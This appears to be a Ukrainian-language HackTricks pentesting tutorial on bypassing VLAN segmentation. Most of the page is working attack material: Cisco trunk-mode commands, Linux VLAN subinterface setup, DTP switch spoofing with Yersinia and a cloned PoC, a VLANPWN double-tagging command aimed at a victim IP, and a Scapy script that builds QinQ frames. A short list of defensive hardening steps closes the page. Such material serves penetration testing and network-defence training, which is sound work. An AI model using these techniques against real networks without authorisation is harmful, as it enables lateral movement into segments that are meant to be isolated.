Lateral VLAN Segmentation Bypass
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Якщо є прямий доступ до комутатора, сегментацію VLAN можна обійти. Це передбачає переналаштування підключеного порту в режим trunk, створення віртуальних інтерфейсів для цільових VLAN та налаштування IP-адрес, або динамічно (DHCP), або статично, залежно від сценарію (для отримання додаткової інформації перегляньте https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9).
Спочатку необхідно ідентифікувати конкретний підключений порт. Це зазвичай можна зробити за допомогою повідомлень CDP або шляхом пошуку порту через маску include.
Якщо CDP не працює, ідентифікацію порту можна спробувати здійснити, шукаючи MAC-адресу:
SW1(config)# show mac address-table | include 0050.0000.0500
Перед переходом в режим trunk слід скласти список існуючих VLAN та визначити їх ідентифікатори. Ці ідентифікатори потім призначаються інтерфейсу, що дозволяє отримати доступ до різних VLAN через trunk. Порт, що використовується, наприклад, асоційований з VLAN 10.
SW1# show vlan brief
Перехід в режим trunk передбачає вхід в режим конфігурації інтерфейсу:
SW1(config)# interface GigabitEthernet 0/2
SW1(config-if)# switchport trunk encapsulation dot1q
SW1(config-if)# switchport mode trunk
Переключення в режим trunk тимчасово порушить з'єднання, але його можна відновити пізніше.
Потім створюються віртуальні інтерфейси, їм призначаються VLAN ID та активуються:
sudo vconfig add eth0 10
sudo vconfig add eth0 20
sudo vconfig add eth0 50
sudo vconfig add eth0 60
sudo ifconfig eth0.10 up
sudo ifconfig eth0.20 up
sudo ifconfig eth0.50 up
sudo ifconfig eth0.60 up
В подальшому запит адреси здійснюється через DHCP. Альтернативно, у випадках, коли DHCP не є життєздатним, адреси можна налаштувати вручну:
sudo dhclient -v eth0.10
sudo dhclient -v eth0.20
sudo dhclient -v eth0.50
sudo dhclient -v eth0.60
Приклад ручного налаштування статичної IP-адреси на інтерфейсі (VLAN 10):
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
З'єднання тестується шляхом ініціювання ICMP запитів до стандартних шлюзів для VLAN 10, 20, 50 та 60.
Врешті-решт, цей процес дозволяє обійти сегментацію VLAN, що полегшує необмежений доступ до будь-якої VLAN мережі та створює умови для подальших дій.
Інші техніки VLAN-Hopping (без привілейованого CLI комутатора)
Попередній метод передбачає аутентифікований доступ до консолі або Telnet/SSH до комутатора. У реальних ситуаціях зловмисник зазвичай підключений до звичайного порту доступу. Наступні трюки на рівні 2 часто дозволяють вам переміщатися вбік, не входячи в ОС комутатора:
1. Switch-Spoofing з Dynamic Trunking Protocol (DTP)
Комутатори Cisco, які мають увімкнений DTP, з радістю погоджуються на створення trunk, якщо партнер стверджує, що є комутатором. Створення одного DTP “desirable” або “trunk” кадру перетворює порт доступу на trunk 802.1Q, який несе всі дозволені VLAN.
Yersinia та кілька PoC автоматизують процес:
# Become a trunk using Yersinia (GUI)
$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
# Python PoC (dtp-spoof)
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
Як тільки порт переключається на trunk, ви можете створити підінтерфейси 802.1Q і здійснити піворот, як показано в попередньому розділі. Сучасні ядра Linux більше не вимагають vconfig; натомість використовуйте ip link:
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.30 type vlan id 30
sudo ip addr add 10.10.30.66/24 dev eth0.30
sudo ip link set eth0.30 up
2. Подвійне тегування (Зловживання Native-VLAN)
Якщо зловмисник знаходиться на native (нетегованому) VLAN, спеціально підготовлений кадр з двома заголовками 802.1Q може "перепригнути" на другий VLAN, навіть коли порт заблокований в режимі доступу. Інструменти, такі як VLANPWN DoubleTagging.py (оновлення 2022-2024), автоматизують ін'єкцію:
python3 DoubleTagging.py \
--interface eth0 \
--nativevlan 1 \
--targetvlan 20 \
--victim 10.10.20.24 \
--attacker 10.10.1.54
Проходження пакета:
- Зовнішній тег (1) видаляється першим комутатором, оскільки він відповідає рідному VLAN.
- Внутрішній тег (20) тепер відкритий; кадр пересилається на trunk до VLAN 20.
Ця техніка все ще працює в 2025 році на мережах, які залишають рідний VLAN за замовчуванням і приймають не теговані кадри.
3. QinQ (802.1ad) Стекування
Багато корпоративних ядер підтримують Q-in-Q інкапсуляцію постачальника послуг. Де це дозволено, зловмисник може тунелювати довільний трафік з тегом 802.1Q всередині постачальника (S-тег), щоб перетнути зони безпеки. Захопіть для 802.1ad ethertype 0x88a8 і спробуйте видалити зовнішній тег за допомогою Scapy:
from scapy.all import *
outer = 100 # Service tag
inner = 30 # Customer / target VLAN
payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ICMP()
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
sendp(frame, iface="eth0")
Рекомендації щодо захисту
- Вимкніть DTP на всіх портах, що виходять до користувачів:
switchport mode access
+switchport nonegotiate
. - Змініть рідний VLAN на кожному транку на невикористовуваний, чорний дірковий VLAN і позначте його:
vlan dot1q tag native
. - Виріжте непотрібні VLAN на транках:
switchport trunk allowed vlan 10,20
. - Застосуйте безпеку портів, DHCP snooping та динамічну перевірку ARP, щоб обмежити діяльність зловмисного рівня 2.
- Віддавайте перевагу приватним VLAN або сегментації L3 замість того, щоб покладатися лише на розділення 802.1Q.
Посилання
- https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9
- VLANPWN attack toolkit – https://github.com/casterbytethrowback/VLANPWN
- Twingate "Що таке VLAN Hopping?" (Серпень 2024) – https://www.twingate.com/blog/glossary/vlan%20hopping
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.